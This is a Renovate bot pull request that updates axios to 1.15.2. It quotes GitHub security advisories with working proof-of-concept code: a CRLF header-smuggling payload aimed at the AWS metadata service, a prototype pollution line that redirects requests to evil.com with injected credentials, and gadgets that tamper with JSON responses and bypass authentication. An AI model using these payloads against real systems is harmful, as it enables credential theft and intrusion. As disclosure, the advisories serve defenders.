Skip to content

chore(deps): update dependency axios to v1.15.2 [security]#52

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-axios-vulnerability
Open

chore(deps): update dependency axios to v1.15.2 [security]#52
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-axios-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Aug 13, 2024 •
edited
Loading

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.6.5 → 1.15.2 age confidence

Server-Side Request Forgery in axios

CVE-2024-39338 / GHSA-8hc4-vh64-cxmj

More information

Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";
2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...
4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis
  • Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
  • Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
  • Cache Poisoning: Can inject Host headers to poison shared caches.
Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});
References
  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

CVE-2026-42041 / GHSA-w9j2-pvgh-6h63

More information

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-287: Improper Authentication
CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Metric Value Justification
Attack Vector Network PP is triggered remotely
Attack Complexity Low Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Impact within the application
Confidentiality Low 401 treated as success may expose data behind auth gates
Integrity High All error handling and auth checks are silently bypassed — application operates on invalid assumptions
Availability None The function works correctly (returns true), no crash
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
  if (prop in config2) {           // ← `in` traverses prototype chain!
    return getMergedValue(a, b);
  } else if (prop in config1) {
    return getMergedValue(undefined, a);
  }
}

// mergeConfig.js:94
const mergeMap = {
  // ... all others use defaultToConfig2 ...
  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy
};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept
1. The Setup (Simulated Pollution)
Object.prototype.validateStatus = () => true;
2. The Gadget Trigger (Safe Code)
// Application checks authentication via HTTP status codes
try {
  const response = await axios.get('https://api.internal/admin/users');
  // Developer expects: 401 → catch block → redirect to login
  // Reality: 401 → treated as success → displays admin data
  processAdminData(response.data);  // Executes with 401 response body!
} catch (error) {
  redirectToLogin();  // NEVER REACHED for 401/403/500
}
3. The Execution
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus;  // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
  resolve(response);  // 401, 403, 500 all resolve here!
}
4. The Impact
Before pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → reject (auth error) → redirectToLogin()
  HTTP 403 → reject (forbidden) → showAccessDenied()
  HTTP 500 → reject (server error) → showErrorPage()

After pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
  HTTP 403 → resolve (SUCCESS!) → application thinks user has access
  HTTP 500 → resolve (SUCCESS!) → application processes error as data
Verified PoC Output
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500

--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
Impact Analysis
  • Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
  • Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
  • Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
  • Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop)) {
    return getMergedValue(a, b);
  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
    return getMergedValue(undefined, a);
  }
}
Resources
Timeline
Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-15 PoC developed and vulnerability confirmed
2026-04-16 Report revised for accuracy
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties
  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Impact
  • Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
  • Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
  • SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
  • Code execution: Attacker-supplied functions execute during HTTP redirects.
  • Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

  1. No constraints — the reviver can return any value (no "must return true" requirement)
  2. Selective modification — individual JSON keys can be changed while others remain untouched
  3. Invisible — the response structure and most values look completely normal
  4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Within the application process
Confidentiality High The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity High Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability None No crash, no error — the attack is entirely silent
Comparison with All Known Axios PP Gadgets
Factor GHSA-fvcv-3m26-pcqx (Header Injection) transformResponse proxy (MITM) parseReviver (This)
PP target Object.prototype['header'] Object.prototype.transformResponse Object.prototype.proxy Object.prototype.parseReviver
Fixed by 1.15.0? Yes No No No
Constraints N/A (fixed) Must return true None None
Data modification Header injection only Response replaced with true Full MITM Selective per-key modification
Stealth Request anomaly visible Response becomes true (obvious) Proxy visible in network Completely invisible
Data access Headers only this.auth + raw response All traffic Every JSON key-value pair
Validated? N/A assertOptions validates Not validated Not validated
In defaults? N/A Yes → goes through mergeConfig No → bypasses mergeConfig No → bypasses mergeConfig
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections

  1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

  2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

  3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

  4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],
Proof of Concept
import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible
  • Affects every Axios request that receives a JSON response
  • The response structure is intact — only specific values are changed
  • No errors, no crashes, no suspicious behavior
  • Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report PP Target Code Location Fix Location Impact
axios_26 transformResponse mergeConfig.js:49 (defaultToConfig2) mergeConfig.js Credential theft, response replaced with true
axios_30 proxy http.js:670 (direct property access) http.js Full MITM, traffic interception
axios_31 (this) parseReviver defaults/index.js:124 (this.parseReviver) defaults/index.js Selective JSON value tampering + data exfiltration
Why These Are Distinct Vulnerabilities
  1. Different polluted properties: Each targets a different Object.prototype key.
  2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
  3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
  4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources
Timeline
Date Event
2026-04-16 Vulnerability discovered during source code audit
2026-04-16 PoC developed and verified — selective response tampering confirmed
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE
  • CWE-626: Null Byte Interaction Error (Poison Null Byte)
  • CWE-116: Improper Encoding or Escaping of Output
CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric Value Justification
Attack Vector Network Attacker controls input parameters remotely
Attack Complexity High Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Impact limited to HTTP request URL
Confidentiality None No confidentiality impact
Integrity Low Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability None No availability impact
Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}
Why the Standard Flow Is NOT Affected
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it
Proof of Concept
import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

  • Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
  • Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
  • Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}
Resources
Timeline
Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-16 Report revised: documented standard-flow limitation, corrected CVSS
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

CVE-2026-42042 / GHSA-xx6v-rp6x-q39c

More information

Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
